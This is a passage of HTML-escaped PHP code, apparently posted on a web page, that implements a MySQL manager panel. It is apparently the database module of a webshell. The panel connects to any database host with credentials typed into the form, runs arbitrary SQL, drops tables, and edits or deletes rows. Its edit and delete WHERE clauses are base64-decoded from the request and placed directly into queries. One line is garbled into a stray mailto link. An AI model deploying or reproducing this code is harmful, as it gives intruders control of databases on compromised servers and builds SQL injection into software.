/>&nbsp;&nbsp;&nbsp;&nbsp;$valstr .= $tmp."'".addslashes($val)."'";<BR />&nbsp;&nbsp;&nbsp;&nbsp;$tmp = ',';<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;if ($keystr &amp;&amp; $valstr) {<BR />&nbsp;&nbsp;&nbsp;dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);<BR />&nbsp;&nbsp;&nbsp;m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;if ($update &amp;&amp; $insertsql &amp;&amp; $base64) {<BR />&nbsp;&nbsp;$valstr = $tmp = '';<BR />&nbsp;&nbsp;foreach($insertsql as $key =&gt; $val) {<BR />&nbsp;&nbsp;&nbsp;$valstr .= $tmp.$key."='".addslashes($val)."'";<BR />&nbsp;&nbsp;&nbsp;$tmp = ',';<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;if ($valstr) {<BR />&nbsp;&nbsp;&nbsp;$where = base64_decode($base64);<BR />&nbsp;&nbsp;&nbsp;dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);<BR />&nbsp;&nbsp;&nbsp;m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;if ($doing == 'del' &amp;&amp; $base64) {<BR />&nbsp;&nbsp;$where = base64_decode($base64);<BR />&nbsp;&nbsp;$delete_sql = "DELETE FROM $tablename WHERE $where";<BR />&nbsp;&nbsp;dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);<BR />&nbsp;&nbsp;m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());<BR />&nbsp;}</P>
<P>&nbsp;if ($tablename &amp;&amp; $doing == 'drop') {<BR />&nbsp;&nbsp;dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);<BR />&nbsp;&nbsp;if (q("DROP TABLE $tablename")) {<BR />&nbsp;&nbsp;&nbsp;m('Drop table of success');<BR />&nbsp;&nbsp;&nbsp;$tablename = '';<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;m(mysql_error());<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;$charsets = array(''=&gt;'Default','gbk'=&gt;'GBK', 'big5'=&gt;'Big5', 'utf8'=&gt;'UTF-8', 'latin1'=&gt;'Latin1');</P>
<P>&nbsp;formhead(array('title'=&gt;'MYSQL Manager'));<BR />&nbsp;makehide('action','sqladmin');<BR />&nbsp;p('&lt;p&gt;');<BR />&nbsp;p('DBHost:');<BR />&nbsp;makeinput(array('name'=&gt;'dbhost','size'=&gt;20,'value'=&gt;$dbhost));<BR />&nbsp;p(':');<BR />&nbsp;makeinput(array('name'=&gt;'dbport','size'=&gt;4,'value'=&gt;$dbport));<BR />&nbsp;p('DBUser:');<BR />&nbsp;makeinput(array('name'=&gt;'dbuser','size'=&gt;15,'value'=&gt;$dbuser));<BR />&nbsp;p('DBPass:');<BR />&nbsp;makeinput(array('name'=&gt;'dbpass','size'=&gt;15,'value'=&gt;$dbpass));<BR />&nbsp;p('DBCharset:');<BR />&nbsp;makeselect(array('name'=&gt;'charset','option'=&gt;$charsets,'selected'=&gt;$charset));<BR />&nbsp;makeinput(array('name'=&gt;'connect','value'=&gt;'Connect','type'=&gt;'submit','class'=&gt;'bt'));<BR />&nbsp;p('&lt;/p&gt;');<BR />&nbsp;formfoot();<BR />?&gt;<BR />&lt;script type="text/javascript"&gt;<BR />function editrecord(action, base64, tablename){<BR />&nbsp;if (action == 'del') {&nbsp;&nbsp;<BR />&nbsp;&nbsp;if (!confirm('Is or isn\'t deletion record?')) return;<BR />&nbsp;}<BR />&nbsp;$('recordlist').doing.value=action;<BR />&nbsp;$('recordlist').base64.value=base64;<BR />&nbsp;$('recordlist').tablename.value=tablename;<BR />&nbsp;$('recordlist').submit();<BR />}<BR />function moddbname(dbname) {<BR />&nbsp;if(!dbname) return;<BR />&nbsp;$('setdbname').dbname.value=dbname;<BR />&nbsp;$('setdbname').submit();<BR />}<BR />function settable(tablename,doing,page) {<BR />&nbsp;if(!tablename) return;<BR />&nbsp;if (doing) {<BR />&nbsp;&nbsp;$('settable').doing.value=doing;<BR />&nbsp;}<BR />&nbsp;if (page) {<BR />&nbsp;&nbsp;$('settable').page.value=page;<BR />&nbsp;}<BR />&nbsp;$('settable').tablename.value=tablename;<BR />&nbsp;$('settable').submit();<BR />}<BR />&lt;/script&gt;<BR />&lt;?php<BR />&nbsp;//操作记录<BR />&nbsp;formhead(array('name'=&gt;'recordlist'));<BR />&nbsp;makehide('doing');<BR />&nbsp;makehide('action','sqladmin');<BR />&nbsp;makehide('base64');<BR />&nbsp;makehide('tablename');<BR />&nbsp;p($dbform);<BR />&nbsp;formfoot();</P>
<P>&nbsp;//选定数据库<BR />&nbsp;formhead(array('name'=&gt;'setdbname'));<BR />&nbsp;makehide('action','sqladmin');<BR />&nbsp;p($dbform);<BR />&nbsp;if (!$dbname) {<BR />&nbsp;&nbsp;makehide('dbname');<BR />&nbsp;}<BR />&nbsp;formfoot();</P>
<P>&nbsp;//选定表<BR />&nbsp;formhead(array('name'=&gt;'settable'));<BR />&nbsp;makehide('action','sqladmin');<BR />&nbsp;p($dbform);<BR />&nbsp;makehide('tablename');<BR />&nbsp;makehide('page',$page);<BR />&nbsp;makehide('doing');<BR />&nbsp;formfoot();</P>
<P>&nbsp;$cachetables = array();&nbsp;<BR />&nbsp;$pagenum = 30;<BR />&nbsp;$page = intval($page);<BR />&nbsp;if($page) {<BR />&nbsp;&nbsp;$start_limit = ($page - 1) * $pagenum;<BR />&nbsp;} else {<BR />&nbsp;&nbsp;$start_limit = 0;<BR />&nbsp;&nbsp;$page = 1;<BR />&nbsp;}<BR />&nbsp;if (isset($dbhost) &amp;&amp; isset($dbuser) &amp;&amp; isset($dbpass) &amp;&amp; isset($connect)) {<BR />&nbsp;&nbsp;dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);<BR />&nbsp;&nbsp;//获取数据库信息<BR />&nbsp;&nbsp;$mysqlver = mysql_get_server_info();<BR />&nbsp;&nbsp;p('&lt;p&gt;MySQL '.$mysqlver.' running in '.$dbhost.' as <A href="mailto:'.$dbuser.'@'.$dbhost.'%3C/p%3E'">'.$dbuser.'@'.$dbhost.'&lt;/p&gt;'</A>);<BR />&nbsp;&nbsp;$highver = $mysqlver &gt; '4.1' ? 1 : 0;</P>
<P>&nbsp;&nbsp;//获取数据库<BR />&nbsp;&nbsp;$query = q("SHOW DATABASES");<BR />&nbsp;&nbsp;$dbs = array();<BR />&nbsp;&nbsp;$dbs[] = '-- Select a database --';<BR />&nbsp;&nbsp;while($db = mysql_fetch_array($query)) {<BR />&nbsp;&nbsp;&nbsp;$dbs[$db['Database']] = $db['Database'];<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;makeselect(array('title'=&gt;'Please select a database:','name'=&gt;'db[]','option'=&gt;$dbs,'selected'=&gt;$dbname,'onchange'=&gt;'moddbname(this.options[this.selectedIndex].value)','newline'=&gt;1));<BR />&nbsp;&nbsp;$tabledb = array();<BR />&nbsp;&nbsp;if ($dbname) {<BR />&nbsp;&nbsp;&nbsp;p('&lt;p&gt;');<BR />&nbsp;&nbsp;&nbsp;p('Current dababase: &lt;a href="javascript:moddbname(\''.$dbname.'\');"&gt;'.$dbname.'&lt;/a&gt;');<BR />&nbsp;&nbsp;&nbsp;if ($tablename) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;p(' | Current Table: &lt;a href="javascript:settable(\''.$tablename.'\');"&gt;'.$tablename.'&lt;/a&gt; [ &lt;a href="javascript:settable(\''.$tablename.'\', \'insert\');"&gt;Insert&lt;/a&gt; | &lt;a href="javascript:settable(\''.$tablename.'\', \'structure\');"&gt;Structure&lt;/a&gt; | &lt;a href="javascript:settable(\''.$tablename.'\', \'drop\');"&gt;Drop&lt;/a&gt; ]');<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;p('&lt;/p&gt;');<BR />&nbsp;&nbsp;&nbsp;mysql_select_db($dbname);</P>
<P>&nbsp;&nbsp;&nbsp;$getnumsql = '';<BR />&nbsp;&nbsp;&nbsp;$runquery = 0;<BR />&nbsp;&nbsp;&nbsp;if ($sql_query) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$runquery = 1;<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;$allowedit = 0;<BR />&nbsp;&nbsp;&nbsp;if ($tablename &amp;&amp; !$sql_query) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$sql_query = "SELECT * FROM $tablename";<BR />&nbsp;&nbsp;&nbsp;&nbsp;$getnumsql = $sql_query;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$sql_query = $sql_query." LIMIT $start_limit, $pagenum";<BR />&nbsp;&nbsp;&nbsp;&nbsp;$allowedit = 1;<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;p('&lt;form action="'.$self.'" method="POST"&gt;');<BR />&nbsp;&nbsp;&nbsp;p('&lt;p&gt;&lt;table width="200" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tr&gt;&lt;td colspan="2"&gt;Run SQL query/queries on database '.$dbname.':&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;"&gt;'.htmlspecialchars($sql_query,ENT_QUOTES).'&lt;/textarea&gt;&lt;/td&gt;&lt;td style="padding:0 5px;"&gt;&lt;input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;');<BR />&nbsp;&nbsp;&nbsp;makehide('tablename', $tablename);<BR />&nbsp;&nbsp;&nbsp;makehide('action','sqladmin');<BR />&nbsp;&nbsp;&nbsp;p($dbform);<BR />&nbsp;&nbsp;&nbsp;p('&lt;/form&gt;');<BR />&nbsp;&nbsp;&nbsp;if ($tablename || ($runquery &amp;&amp; $sql_query)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;if ($doing == 'structure') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = q("SHOW COLUMNS FROM $tablename");<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rowdb = array();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while($row = mysql_fetch_array($result)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rowdb[] = $row;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;table border="0" cellpadding="3" cellspacing="0"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="head"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Field&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Type&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Null&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Key&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Default&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;Extra&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($rowdb as $row) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$thisbg = bg();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$row['Field'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$row['Type'].'&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$row['Null'].'&amp;nbsp;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$row['Key'].'&amp;nbsp;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$row['Default'].'&amp;nbsp;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;'.$row['Extra'].'&amp;nbsp;&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tbfoot();<BR />&nbsp;&nbsp;&nbsp;&nbsp;} elseif ($doing == 'insert' || $doing == 'edit') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = q('SHOW COLUMNS FROM '.$tablename);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while ($row = mysql_fetch_array($result)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rowdb[] = $row;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rs = array();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($doing == 'insert') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;h2&gt;Insert new line in '.$tablename.' table &amp;raquo;&lt;/h2&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;h2&gt;Update record in '.$tablename.' table &amp;raquo;&lt;/h2&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$where = base64_decode($base64);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rs = mysql_fetch_array($result);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;form method="post" action="'.$self.'"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p($dbform);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;makehide('action','sqladmin');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;makehide('tablename',$tablename);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;table border="0" cellpadding="3" cellspacing="0"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($rowdb as $row) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($rs[$row['Field']]) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$value = htmlspecialchars($rs[$row['Field']]);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$value = '';<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$thisbg = bg();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;td&gt;&lt;b&gt;'.$row['Field'].'&lt;/b&gt;&lt;br /&gt;'.$row['Type'].'&lt;/td&gt;&lt;td&gt;&lt;textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;"&gt;'.$value.'&lt;/textarea&gt;&lt;/td&gt;&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($doing == 'insert') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.bg().'"&gt;&lt;td colspan="2"&gt;&lt;input class="bt" type="submit" name="insert" value="Insert" /&gt;&lt;/td&gt;&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.bg().'"&gt;&lt;td colspan="2"&gt;&lt;input class="bt" type="submit" name="update" value="Update" /&gt;&lt;/td&gt;&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;makehide('base64', $base64);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/table&gt;&lt;/form&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$querys = @explode(';',$sql_query);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach($querys as $num=&gt;$query) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($query) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p("&lt;p&gt;&lt;b&gt;Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."&lt;/b&gt;&lt;/p&gt;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(qy($query))<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 0:<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;h2&gt;Error : '.mysql_error().'&lt;/h2&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 1:<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strtolower(substr($query,0,13)) == 'select * from') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$allowedit = 1;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($getnumsql) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tatol = mysql_num_rows(q($getnumsql));<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$multipage = multi($tatol, $pagenum, $page, $tablename);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!$tablename) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tablename = $matches[1][0];<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = q($query);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p($multipage);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;table border="0" cellpadding="3" cellspacing="0"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="head"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($allowedit) p('&lt;td&gt;Action&lt;/td&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fieldnum = @mysql_num_fields($result);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for($i=0;$i&lt;$fieldnum;$i++){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$name = @mysql_field_name($result, $i);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$type = @mysql_field_type($result, $i);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$len = @mysql_field_len($result, $i);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p("&lt;td nowrap&gt;$name&lt;br&gt;&lt;span&gt;$type($len)&lt;/span&gt;&lt;/td&gt;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;/tr&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*********************/<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$getfield = q("SHOW COLUMNS FROM $tablename");<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rowdb = array();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while($row = @mysql_fetch_assoc($getfield)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rowdb[$row['Field']]['Key'] = $row['Key'];<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$rowdb[$row['Field']]['Extra'] = $row['Extra'];<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*********************/<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while($mn = @mysql_fetch_assoc($result)){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$thisbg = bg();<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$where = $tmp = $b1 = '';<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//选取条件字段用<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach($mn as $key=&gt;$inside){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($inside) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//查找主键、唯一属性、自动增加的字段，找到就停止，否则组合所有字段作为条件。<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$where = $key."='".addslashes($inside)."'";<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$where .= $tmp.$key."='".addslashes($inside)."'";<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tmp = ' AND ';<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//读取记录用<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach($mn as $key=&gt;$inside){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$b1 .= '&lt;td nowrap&gt;'.html_clean($inside).'&amp;nbsp;&lt;/td&gt;';<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$where = base64_encode($where);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($allowedit) p('&lt;td nowrap&gt;&lt;a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');"&gt;Edit&lt;/a&gt; | &lt;a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');"&gt;Del&lt;/a&gt;&lt;/td&gt;');</P>
